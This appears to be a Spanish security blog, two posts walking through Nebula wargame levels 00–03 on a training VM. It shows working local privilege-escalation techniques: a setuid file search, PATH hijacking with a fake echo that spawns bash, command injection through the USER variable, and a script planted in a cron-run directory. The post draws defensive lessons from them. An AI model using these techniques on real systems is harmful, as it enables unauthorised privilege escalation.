11 Dic 2014

Aprendiendo seguridad con Wargames 2

En el post anterior vimos las soluciones al nivel 0 y 1 del Wargame Nebula. Aprendimos que era muy importante desconfiar de las variables de entorno y a utilizar rutas absolutas en las llamadas a ejecutables. Vamos a ver unos cuantos niveles más de este Wargame:

Nebula Level02

 Al igual que en el nivel 01, el siguiente código tiene una vulnerabilidad que nos permitirá ejecutar código arbitrario. Vamos a ver el código y a añadir unos comentarios:

#There is a vulnerability in the below program that allows arbitrary 
#programs to be executed, can you find it?
#To do this level, log in as the level02 account with the password
#level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;   #Definimos un buffer de carácteres

  # Primero se obtiene el valor de la variable de entorno USER,
  # Luego se guarda en buffer la cadena "/bin/echo flag02 is cool"
  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

  # Ahora se muestra lo que se va a ejecutar
  printf("about to call system(\"%s\")\n", buffer);
  
  # Por último se ejecuta el contenido de buffer
  system(buffer);
}  

 En esta ocasión, se ha llamado a echo con su ruta absoluta, por lo que no podremos utilizar el mismo truco que en el nivel anterior. Desde el punto de vista de un atacante, necesitamos averiguar cual es nuestro punto de entrada.

En este caso, lo único que podemos modificar es el valor de la variable USER. ¿Como podemos aprovecharnos de esto? Como he puesto en el código, la orden que se va a ejecutar es /bin/echo $USER is cool. Nadie nos impide utilizar el carácter de separación de comandos ; para ejecutar dos órdenes seguidas. Por ejemplo, si hacemos:

level02@nebula:~$ USER="david;echo lladro" 
level02@nebula:~$ /home/flag02/flag02
david lladro is cool

 Lo que se está ejecutando es /bin/echo david;echo is cool. Con esto en mente, la solución al reto la obtendríamos con:

level02@nebula:~$ USER="flag02;getflag" 
level02@nebula:~$ /home/flag02/flag02

 

 

Nebula Level03

En este nivel no tenemos código, solo una escueta explicación:

#Check the home directory of flag03 and take note of the files there.
#There is a crontab that is called every couple of minutes.
#To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

 Lo que nos dice es que en /home/flag03 hay ciertos ficheros y directorios. Cada X minutos, se ejecuta  un crontab. Con esta explicación, todo parece indicar que podremos ejecutar código a ciegas. Es decir, podremos colocar un script en un directorio y esperar a que se ejecute con los permisos adecuados. Por ejemplo, podríamos hacer:

level03@nebula:~$ vim getflag.sh
    
    #!/bin/bash
    getflag 
    
level03@nebula:~$ chmod +x getflag.sh 
level03@nebula:~$ cp getflag.sh /home/flag03/writable.d/

 El problema de este código es que no sabemos si ha funcionado, ya que getflag sólo muestra por pantalla una frase. Para solucionar esto, basta con redirigir la salida a un fichero temporal:

level03@nebula:~$ vim getflag.sh
    
    #!/bin/bash
    getflag >> /tmp/flag3
    
level03@nebula:~$ chmod +x getflag.sh 
level03@nebula:~$ cp getflag.sh /home/flag03/writable.d/

esperamos unos minutos

level03@nebula:~$ cat /tmp/flag3
You have successfully executed getflag on a target account

Con esto, hemos solucionado este nivel. Espero que os haya gustado.

David Lladró
Responsable de Seguridad en 
Datadec Online

[subscribe2]

06 Nov 2014

Aprendiendo seguridad con Wargames

Uno de los comentarios que recibo a menudo cuando intento concienciar sobre seguridad es: “Es que la seguridad es muy difícil”. La verdad es que en ocasiones es así y resulta complicado entender los diferentes ataques que pueden realizar contra nuestras aplicaciones y sistemas.

Para mí, una de las formas de aprender conceptos complicados es a través de los juegos. Aunque la frase anterior suene a la típica que se le dice a los niños, se puede aplicar a los adultos. Y como ejemplo, me gustaría hablar de los conocidos como Wargames. Son retos de seguridad que deben ir superándose y que van aumentando de dificultad.

En esta serie de post, voy a comentar los resultados de un Wargame que está disponible en la web https://exploit-exercises.com/. En concreto voy a empezar por su colección de retos mas sencilla, Nebula. Para poder disfrutar de los retos, solo debemos descargarnos una máquina virtual y acceder con el usuario level00 y el password level00.

El funcionamiento es muy sencillo, cada nivel tiene dos usuarios levelXX y flagXX. Para superar un nivel, debemos ejecutar el comando “getflag” con los permisos del usuario flagXX. Para conseguir esto, deberemos aprovechar los diversos fallos de seguridad existentes en cada nivel.

Nebula Level00

Este primer nivel es introductorio y nos explica el funcionamiento de los retos. En el enunciado, nos dicen que tenemos que encontrar un ejecutable con el bit setuid activado y que sea propiedad del usuario flag00. Y como pista, nos dicen que miremos el “man” de find.

Pues allá que vamos, en el “man” pone que podemos buscar archivos filtrando por sus permisos con la opción -perm. Además, en la misma ayuda nos dan un ejemplo para buscar archivos con el bit setuid activado. Solo nos falta filtrar con grep para que solo nos muestre los que sean propiedad de flag00:

level00@nebula:~$ find / -perm 4000 -printf "%#m %u %p\n" 2>/dev/null \
| grep flag00
level00@nebula:~$ /bin/.../flag00 
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Y con esto tendríamos solucionado el nivel 00.

Nebula Level01

Al igual que en el nivel anterior, nos debemos loguear con el usuario level01 y password level01. Como nos indican en el enunciado, el programa tiene una vulnerabilidad que permitiría ejecutar cualquier comando. Vamos a ver lo que hace el programa añadiendo comentarios a cada línea:

#There is a vulnerability in the below program that allows arbitrary 
#programs to be executed, can you find it?
#To do this level, log in as the level01 account with the password level01. 
#Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;   
  uid_t uid;   
  gid = getegid();   #Obtiene el grupo del propietario del archivo
  uid = geteuid();   #Obtiene el propietario del fichero

  setresgid(gid, gid, gid);   #Asigna los permisos del grupo level01 al binario
  setresuid(uid, uid, uid);   #Asigna los permisos de flag01 al binario

  system("/usr/bin/env echo and now what?"); #Ejecuta con permisos de flag01
}

 ¿Donde está el error? Aquí lo que nos hace sospechar es ese “/usr/bin/env”. El programa env pasa las variables de entorno a echo, que a su vez muestra por pantalla el texto “and now what?”. El hecho de que echo sea llamado de forma relativa y no con su ruta absoluta /bin/echo nos da la oportunidad de ejecutar lo que queramos.

La pregunta es, ¿cómo hace Linux para saber donde encontrar el binario echo? Lo que hace es mirar la variable de entorno PATH e ir buscando por orden en los diferentes directorios hasta que encuentre el binario. Pero, ¿qué pasaría si alteráramos la variable PATH para que por ejemplo busque primero en el directorio /tmp? ¿y si en el directorio /tmp existiera un archivo que se llamara echo?

El resultado es que ejecutaríamos el archivo /tmp/echo con permisos del usuario flag01. Pues vamos allá:

level01@nebula:~$ PATH=/tmp:$PATH    #Añadimos /tmp al PATH
level01@nebula:~$ vim /tmp/echo      #Creamos un script que llame a bash 
                                     # llamado echo  
    #!/bin/bash
    /bin/bash

level01@nebula:~$ chmod +x /tmp/echo    #Le damos permisos de ejecución
level01@nebula:~$ /home/flag01/flag01   #Lanzamos nuestro binario original
flag01@nebula:~$ getflag                # y obtenemos una shell de flag01
You have successfully executed getflag on a target account

 Este nivel nos deja dos recomendaciones de seguridad cuando se trata de scripts en bash:

  • Nunca confiar en los datos que nos proporcione el usario, como por ejemplo las variables de entorno.
  • Siempre utilizar rutas absolutas en los scripts.

En el próximo post veremos otros niveles y otras recomendaciones de seguridad.

 

David Lladró
Responsable de Seguridad en 
Datadec Online

[subscribe2]